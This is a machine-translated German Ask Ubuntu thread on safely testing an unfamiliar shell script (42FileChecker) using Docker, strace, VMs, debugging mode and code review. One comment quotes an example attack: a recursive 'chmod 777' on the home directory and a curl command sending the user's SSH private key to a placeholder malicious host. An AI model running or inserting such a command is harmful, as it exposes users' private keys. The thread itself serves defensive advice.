Wie kann ich ein Shell-Skript in einer "sicheren Umgebung" testen, um Schäden an meinem Computer zu vermeiden?


29

Ich möchte ein bestimmtes Bash-Skript namens 42FileChecker mit den folgenden Befehlen installieren:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

Aber ich weiß nicht, ob 42FileChecker.sh irgendwelche seltsamen Dinge auf meinem PC macht, weil ich Anfänger bin und nicht weiß, was in diesem Skript passiert. Gibt es eine Möglichkeit, es in einem Dummy-Terminal oder einem Dummy-Stammordner oder ähnlichem auszuführen, um zu sehen, was passiert, damit ich etwas Verrücktes wie das Formatieren meiner Laufwerke vermeide. Ich würde gerne wissen, wie ich Shells auch für zukünftige Shellskripte testen kann, selbst wenn 42FileChecker.sh sicher ist.


5
Da es sich um ein Skript handelt, können Sie es lesen und die manSeiten der darin enthaltenen Befehle lesen .
Waltinator

1
Da der Code auf Git gehostet wird, können Sie die Quelle des Tools durchlesen. Wenn die Codeüberprüfung nicht Ihre Sache ist, sollten Sie eine Art "dynamische" Analyse in einer sicheren Umgebung (Sandbox, VM) durchführen
BlueCacti

4
@waltinator Wenn Sie Bedenken wegen böswilligen Verhaltens und nicht nur wegen unbeabsichtigten Verhaltens haben, hilft das Lesen der Manpages nicht weiter.
Ray

1
@Ray, nur wenn die ausgeführten Befehle selbst böswillig sind, würden ihre Manpages ihre wahren Auswirkungen verbergen. Ich denke , waltinator zum wahrscheinlicheren Fall von böswilliger Verwendung von Standardbefehlen bezog, zum Beispiel chmod 777 -R ~oder curl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsaoder ähnliches.
Wildcard

1
Verwandte . Sie könnten Skripte testen, ohne dass Ihr Computer Schaden nimmt, und Ihre Kollegen könnten lernen , ihre Sitzungen zu sperren.
Eric Duminil

Antworten:


4

Ich bin kein Experte in diesem Bereich, aber ich würde empfehlen, straceund zu verwenden docker.

Erstellen Sie also zuerst einen Docker-Container, wie in dieser Antwort beschrieben . Aber der Zusatz, der ist, dass strace Ihnen sagt, welche Systemaufrufe gemacht werden. Oder um zu zitieren:

strace ist ein Diagnose-, Debugging- und Einweisungsdienstprogramm für Linux. Es wird verwendet, um die Interaktionen zwischen Prozessen und dem Linux-Kernel zu überwachen und zu manipulieren, einschließlich Systemaufrufen, Signalzustellungen und Änderungen des Prozesszustands.

Sie können diese Befehle zu kombinieren

docker exec -it ubuntu_container strace bash ./42FileChecker.sh

Dies wird also jede Zeile des Skripts durchlaufen (Schritt für Schritt) und dies auch alles in einem Container tun, was bedeutet, dass alle Befehle absolut nichts mit meinem System zu tun haben, sondern wie gewohnt ausgeführt werden. Verstehe ich das richtig?
nicholas

1
@nicholas ja der docker container ist eine separate maschine zu deinem schutz, das programm ist sandboxed. Strace bietet Ihnen alle Funktionen, die die Anwendung auf diesem Computer ausführt, vom Öffnen von Dateien bis zum Einrichten von Netzwerkverbindungen.
Thomas

1
Ja, genau das habe ich gesucht, Strace kombiniert mit Docker.
nicholas

42

Wenn Sie nicht sicher sind, was ein Skript bewirkt, sollten Sie es besser erst ausführen, wenn Sie sicher sind, was es bewirkt. Um den Schadensradius eines fehlerhaften Skripts zu verringern, können Sie es unter Verwendung eines neuen Benutzers, in einem Container oder in einer virtuellen Maschine ausführen. Die erste Aussage lautet jedoch immer noch: Wenn Sie sich nicht sicher sind, was etwas bewirkt, sollten Sie sie erst ausführen, wenn Sie dies tun.


6
Andererseits sind Skripte wie EULAs: Ja, Sie sollten jede einzelne Zeile lesen und verstehen, bevor Sie Ihre Seele verkaufen, aber tun Sie das?
Peter - Setzen Sie Monica

7
@ PeterA.Schneider, aber EULAs machen eigentlich nichts, bis sie vor Gericht gestellt werden. Das Ausführen eines Skripts wirkt sich sofort auf Ihren Computer aus. Es geht nicht so sehr darum, jede Zeile zu lesen. Es geht mehr um "Reflections on Trusting Trust" und darum, die Quelle des Skripts zu kennen und ihr zu vertrauen.
Wildcard

29

Wie @ctt sagte, ist es wahrscheinlich eine gute Idee, es zuerst in einer Sandbox auszuführen. Die Verwendung einer VM ist wahrscheinlich die einfachste Lösung. Multipass ist ziemlich einfach.

Installieren Sie multipass (sofern Sie dies noch nicht getan haben):

sudo snap install multipass --beta --classic

Starten Sie eine neue VM:

multipass launch --name myvm

Melden Sie sich bei Ihrer neuen VM an:

multipass shell myvm

Führen Sie dann Ihr Skript (in Ihrem VM) aus:

multipass@myvm:~$ git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

38
Dieser Ansatz ist nicht sicher. Nachdem Sie das Skript in der Sandbox ausgeführt haben, wie können Sie feststellen, ob es sicher war? Es könnte schädliche Auswirkungen haben, die Sie nicht so einfach sagen können. Malware erscheint nicht unbedingt und sagt "Haha, verstanden!". Ein böswilliges Skript kann sich auch in einer Sandbox oder VM auf eine harmlose Weise verhalten und sich dann auf Ihrem realen Computer böswillig verhalten. (Beispielsweise ist die VM-Erkennung ebenso wichtig wie der Fingerabdruck auf dem Computer.)
DW

12
Das ist ein großartiger Punkt. Wenn Sie das Skript auf Malware untersuchen möchten, ist dies keine effektive Lösung. Auf diese Weise können Sie die Funktionalität testen, ohne Ihr Hostsystem zu verschmutzen.
Ryan J. Yoder

Sie können einen vollständigen Vergleich mit einer "Kontroll" -VM durchführen.
McKenzm

6
@mckenzm: Aber wenn es sich um Malware handelt, ist es durchaus möglich, dass sie nichts unternimmt, bis sie Zugriff auf etwas erhält, das saftig aussieht.
Henning Makholm

11

Da die Schule, die Sie besuchen, die Skripte veröffentlicht hat, können Sie Ihre Bedenken am besten bei Ihren Lehrern äußern.

Wir können Ihnen jedoch helfen, den Code zeilenweise zu entschlüsseln. Es ist wahrscheinlich für jeden hier unpraktisch, den gesamten Code zu analysieren .

Sie haben tatsächlich 40 Bash-Skripte mit insgesamt 5.360 Zeilen. Ich habe sie kombiniert und nach Bash / Shell-Befehlen gesucht, die missbraucht werden könnten. Sie scheinen alle normal verwendet zu werden :

$ cat /tmp/sshellcheck.mrg | grep " rm "

      rm -rf "$RETURNPATH"/tmp/*
      rm -f "$RETURNPATH"/.mynorminette
    rm -f $LOGFILENAME
    rm -f $LOGFILENAME
      rm -f .mymoulitest
        rm -f "${RETURNPATH}/tmp/${FILEN}"

$ cat /tmp/sshellcheck.mrg | grep -i kill

  function check_kill_by_name
          kill $PROCESSID0
  declare -a CHK_MINISHELL_AUTHORIZED_FUNCS='(malloc free access open close read write opendir readdir closedir getcwd chdir stat lstat fstat fork execve wait waitpid wait3 wait4 signal kill exit main)'
        check_kill_by_name "${PROGNAME}"
      kill -0 "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null && kill "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null
      display_error "killed pid: ${CURRENT_CHILD_PROCESS_PID}"
    check_kill_by_name "$PROGNAME $PROGARGS"
        check_kill_by_name "$PROGNAME $PROGARGS"
        kill ${PID} 2>/dev/null

$ cat /tmp/sshellcheck.mrg | grep -i root

      "check_configure_select ROOT" "Root folder:          /"\
      'ROOT')
        echo "'${ALLOWED_FILES}' must be placed at root folder but was found here:" >>"${LOGFILENAME}"
        printf "%s" "'${ALLOWED_FILES}' must be placed at root folder"

$ cat /tmp/sshellcheck.mrg | grep -i sudo

$ 
  • Es gibt keinen rm -rf /Befehl zum Löschen der gesamten Festplattenpartition.
  • sudoZum Ausführen des Skripts ist keine Verwendung erforderlich .
  • Das Skript stellt tatsächlich sicher, dass nur autorisierte CFunktionen in den überprüften Dateien verwendet werden.
  • Ein kurzer Blick in den Bash / Shell-Code zeigt, dass er professionell geschrieben und leicht zu befolgen ist.
  • Die Verwendung von Shellcheck für zusammengeführte Include-Dateien zeigt nur drei Syntaxfehler an.
  • Autorennamen werden identifiziert und der Hauptautor hat sogar sein Bild auf seiner githubSeite.
  • Obwohl es im Leben keine Garantien gibt, 42FileCheckerscheint es sicher zu sein.

Es sind keine von Menschen lesbaren Bash-Skripte, über die Sie sich so viele Gedanken machen müssen. Es sind kompilierte, nicht lesbare Binärobjekte, die Anlass zur Sorge geben. Zum Beispiel könnte ein Programm namens "shiny-bouncy-sphere" so etwas auf Ihren Bildschirm malen, aber im Hintergrund könnten alle Ihre Dateien gelöscht werden.


Ursprüngliche Antwort

Fragen Sie am besten den Autor des Skripts, was es tut. In der Tat können Sie Ihre Frage fast wörtlich posten, wie es oben erscheint.

Fragen Sie auch den Autor:

  • Welche Dateien werden aktualisiert?
  • Was passiert bei einem Absturz aufgrund eines Stromausfalls oder eines Programmfehlers?
  • Kann zuerst ein Mini-Backup durchgeführt werden?

Und alle anderen guten Fragen, die Sie sich vorstellen können.


Bearbeiten 1 - Sorgen um einen böswilligen Autor.

Sie sollten nur Software mit vielen guten Bewertungen verwenden. Andere Autoren, denen Sie hier in Ask Ubuntu vertrauen, wie Serge, Jacob, Colin King usw. Andere angesehene Websites wie Ask Ubuntu und ihre angesehenen Mitglieder sollten ebenfalls als "nicht böswillig" eingestuft werden.

Der Vorteil von "respektierten Autoren" hier in Ask Ubuntu ist, dass sie ihren Selbstwert auf "Reputationspunkte" legen. Wenn sie absichtlich Code schreiben, der Daten "stiehlt" oder "beschädigt", verlieren sie schnell ihren Ruf. Tatsächlich könnten Autoren den "Zorn der Mods" erleiden und suspendiert und / oder 10.000 Reputationspunkte weggenommen werden.


Bearbeiten 2 - Befolgen Sie nicht alle Anweisungen

Ich habe mir Ihre Bash-Skript-Anweisungen genauer angesehen:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

Die "sichere" Methode besteht darin, nur die erste Zeile auszuführen:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker

Dadurch werden die Skripte heruntergeladen, aber nicht ausgeführt. Verwenden Sie anschließend nautilus(Dateimanager), um die installierten Verzeichnisse und Dateien zu überprüfen. Sehr schnell stellt man fest, dass es eine Sammlung von Bash-Skripten gibt, die von einer Gruppe von Studenten in Frankreich geschrieben wurden.

Der Zweck der Skripte besteht darin, C-Programme auf fehlerhafte Funktionen und Speicherlecks zu kompilieren und zu testen.


1
Ich sollte ja, aber ich dachte über Situationen nach, in denen der Autor absichtlich etwas Bösartiges tun könnte.
nicholas

1
@Nicholas Ich habe auf Ihren Kommentar geantwortet, indem ich die Antwort überarbeitet habe.
WinEunuuchs2Unix

2
Ich lerne C im Ecole 42 Kurs. Die Funktionen, die ich mache, müssen diese Normprüfung durchlaufen. Ich muss den 42FileChecker in Ubuntu installieren, um diese Normprüfung auszuführen. Ich glaube, ich muss diesem Skript erst einmal vertrauen, aber ich musste zuerst wissen, wie man das Skript "sicher" ausführt, weil ich nicht so gut darin bin, nach Männern zu suchen. Danke für die Hilfe. Ich werde das nächste Mal nur eine VM ausführen.
nicholas

2
@nicholas Linie 24 von ~/42FileChecker/includes/display/display_credits.shStaaten norminette Arbeit ist ein dependancy: norminette (42 born2code) http://www.42.fr. Ich habe das letzte Nacht gelesen und deswegen habe ich geschrieben, dass es eine Schule in Frankreich ist, die 42FileChecker veröffentlicht hat . Nach dem, was ich bisher über den Code gelesen habe, würde ich mir keine Sorgen machen, ihn auszuführen. Außerdem wurden nur sehr wenige Syntaxfehler gemeldet, shellcheckwas für ein Bash-Skript mit 5.360 Zeilen überraschend ist. Viele professionell veröffentlichte Bash-Skripte weisen viele Syntaxfehler auf.
WinEunuuchs2Unix

2
Unter Sicherheitsaspekten ist die Verwendung der für die Klasse bereitgestellten Umgebung und Skripte wahrscheinlich der beste Ansatz. Außerdem wird die Möglichkeit eines anderen Verhaltens als in der offiziellen Kursversion beseitigt, was zum Zeitpunkt der Einlieferung eine Überraschung sein könnte. Sind Sie sicher, dass es keinen Remotezugriff auf diesen Computer gibt, möglicherweise über einen vom Campus bereitgestellten VPN-Dienst oder SSH von einem anderen Computer, auf den Sie remote zugreifen können?
Wahrsager

5

Sie können Docker verwenden. Docker-Container sind vom Host-Betriebssystem isoliert, sodass alle böswilligen Aktivitäten in einem Container verbleiben, sofern Sie sie nicht durch Weiterleiten von Ports oder Mounten von Dateisystemen explizit freigeben.

So installieren Sie Docker:

sudo apt-get install docker.io

So laden Sie einen neuen Ubuntu Bionic-Container herunter:

docker pull ubuntu:bionic

Danach loggen Sie sich in den Container ein

docker run -it ubuntu:bionic

und führe die zweifelhafte Operation darin aus:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

1
Ein weiterer Vorteil von Docker, der bei der Bestimmung der Funktionsweise eines Skripts hilfreich sein kann, besteht darin, dass Sie docker diffanzeigen können, welche Änderungen seit dem Start des Containers am Dateisystem vorgenommen wurden. Der Nachteil der Verwendung von Docker ist, dass der Container keine vollständige Kopie des Hostsystems ist. Das hier erwähnte Ubuntu-Image enthält nur eine minimale Ubuntu-Installation.
Martijn Heemels

2
Anstatt dass docker run ubuntuSie ausführen sollten, gibt docker run -it ubuntu:bionicThe -itIhnen ein interaktives Terminal im Container und das führt bionictatsächlich die gewünschte Version anstelle der Standardversion aus latest.
Martijn Heemels

Ich mag diese Antwort am besten von denen, die ich gesehen habe. Es scheint jedoch, dass das zweifelhafte Skript Ihr System weiterhin missbrauchen könnte. Es könnte heimlich Bitcoins wird Bergbau, etc. Im Idealfall könnte man zusätzliche Flags verwendet möglicherweise --memory, --networkund vielleicht andere , um wirklich das Skript zu sperren.
Emory

1
Wenn Sie wirklich paranoid sind, kombinieren Sie diese Antwort mit der zweitbesten Antwort. Führen Sie docker in einer virtuellen Maschine aus und sperren Sie alles.
Emory

3

Verwenden Sie den Debugging-Modus, indem Sie das Skript wie folgt ausführen:

$ bash -x scriptname

Weitere nützliche Bash- Informationen

Der Debugging-Modus hindert das Skript nicht daran, etwas Schlechtes zu tun, sondern lässt Sie das Skript Zeile für Zeile durchgehen und die Auswirkungen untersuchen. Sie können das Skript auch auf einige häufig auftretende potenzielle Fehler und / oder Exploits überprüfen, z rm. Viele dieser Tools etwas Hilfe haben für den Versuch , sie aus eingebaut, zB rm wird kein Verzeichnis standardmäßig zu löschen, braucht es die -r, -Roder --recursiveOption , dies zu tun.

Möglicherweise gibt es sogar einige Antivirus-ähnliche Tools, die ein Bash-Skript nach diesen Mustern durchsuchen, mir sind jedoch keine mit Namen bekannt. Ihre Beispielskripte sind insofern besonders fragwürdig, als sie andere Tools herunterladen. Daher sollte auch jedes dieser Tools untersucht werden. Es kann sich auch lohnen zu überprüfen, mit welchen Servern sie Kontakt aufnehmen.


-x kann zum Debuggen verwendet werden (und ich benutze es!), aber es lässt Sie nicht Zeile für Zeile durch ein Skript gehen. Sie erhalten eine Art "Trace", wenn das Skript mit voller Geschwindigkeit ausgeführt wird.
jrw32982 unterstützt Monica

2

Die relevanten Informationen für eine Antwort sind leider nur in einem Ihrer Kommentare enthalten:

Ich lerne C im Ecole 42 Kurs. Die Funktionen, die ich mache, müssen diese Normprüfung durchlaufen. Ich muss den 42FileChecker in Ubuntu installieren, um diese Normprüfung auszuführen.

So ist die Situation , dass in der Praxis Sie haben die Möglichkeit , den Kurs gehen, oder Sie können das Skript ausführen , um normative Kontrollen auf Ihren Quellen auszuführen. Ein Gespräch mit Ihrem Lehrer ist aufgrund des Mangels an ersteren kaum eine Option (ansonsten wäre es sowieso keine Option, da keine Schule ihr Verfahren ändern wird, da ein Schüler damit nicht zufrieden ist).
Die Frage, was zu tun ist, um einen möglichen Schaden durch dieses Skript zu begrenzen, stellt sich daher nicht einmal. Es ist kein zufälliges Drehbuch, das ein geiles Mädchen mit großen Brüsten dir per E-Mail geschickt hat und das du laufen musst, um ihr Bild zu sehen .
Du machst einen Programmierkurs. DiesHier kam dieses Skript ins Spiel. Die Frage ist, ob Sie die Rahmenbedingungen für den erfolgreichen Abschluss des Kurses einhalten möchten oder nicht.

Wenn Sie sich jedoch ernsthaft Sorgen machen, besteht immer noch die Möglichkeit, das Skript in einem Container oder einer virtuellen Maschine auszuführen und Ihre Quellen in einem freigegebenen Ordner oder auf einer Netzwerkfreigabe abzulegen, die von dem Container / der virtuellen Maschine bereitgestellt wird. Das ist so ziemlich der ganze Paranoia-Pfad, aber Virtualisierung ist heutzutage nicht wirklich kompliziert und kostet auch nicht viel.

Abgesehen von der unwahrscheinlichen Möglichkeit einer wirklich harten Exploits, die in diesem Skript enthalten ist , in wie jeder Nicht-Root - Benutzer anmelden (die man kaum eine andere Wahl haben , sonst tun auf Ubuntu) und die Vermeidung zu geben sudo ohne ersichtlichen Grund ziemlich verhindert 99% alles schlechte Dinge, die sowieso möglicherweise passieren könnten. Zum Beispiel das Formatieren der Festplatte, um die Sie sich Sorgen machen. Ein normaler Benutzer kann das einfach nicht. Das Schlimmste ist, dass das Skript das Home-Verzeichnis des Benutzers löscht. Also was, eigentlich kein Problem.


Hoffentlich kommentiert OP hier, ob sudodas Ausführen des Skripts erforderlich ist. +1
WinEunuuchs2Unix

Das Vermeiden sudoschränkt nur den Umfang des versehentlichen Löschens / Formatierens aufgrund von Fehlern ein. Wenn das Skript böswillig oder ausnutzbar war, spielt die Ausführung sudoauf einem einzelnen Benutzersystem keine wesentliche Rolle.
andere

@ WinEunuuchs2Unix Ich halte sudo nicht für notwendig. Ich weiß es eigentlich nicht. Obwohl ich sudo für apt install-Befehle verwendet habe. Bedeutet das, dass ich es auch zum Ausführen eines Skripts verwenden muss?
nicholas

1
@ nicholas Ich habe keine C-Programme zum Kompilieren und Testen, 42FileCheckerdaher kann ich nicht wirklich sagen, ob sie sudobenötigt werden oder nicht. Das Bash-Skript sucht nicht nach sudo und fordert Sie auf, es zu verwenden. Es scheint dann, dass sudodas nicht erforderlich ist. Wieder einmal denke ich, dass es die beste Strategie ist, Ihren Lehrer zu fragen. Ich habe meine Antwort vor einer Stunde mit einer kleinen Analyse des Skripts aktualisiert. Beachten Sie, dass der Name " mynorminette" erneut im Code erscheint.
WinEunuuchs2Unix

1
@Nicholas Ich wette, einige der Instruktoren persönlich kennen Norminette, Yyang42, Alelievr, Anisg, Quentin Perez, Gabkk, Patorjk und Jean-Michel Gigault, die alle dazu beigetragen haben 42FileChecker. Ich glaube, das Gespräch mit den Ausbildern wird Sie beruhigen. Nach ein paar Stunden Nachforschungen habe ich Vertrauen in die Programmierer und ihre Kreationen. Jean-Michel Gigault hat sogar sein Bild auf Github. Ziemlich viel Vertrauen in ein Land, in dem die Samen von Yellow Vest wachsen. Viva La France! (et Ecole 42 :)) Tu uns einen Gefallen und komm vorbei, um den Fortschritt zu aktualisieren.
WinEunuuchs2Unix
Durch die Nutzung unserer Website bestätigen Sie, dass Sie unsere Cookie-Richtlinie und Datenschutzrichtlinie gelesen und verstanden haben.
Licensed under cc by-sa 3.0 with attribution required.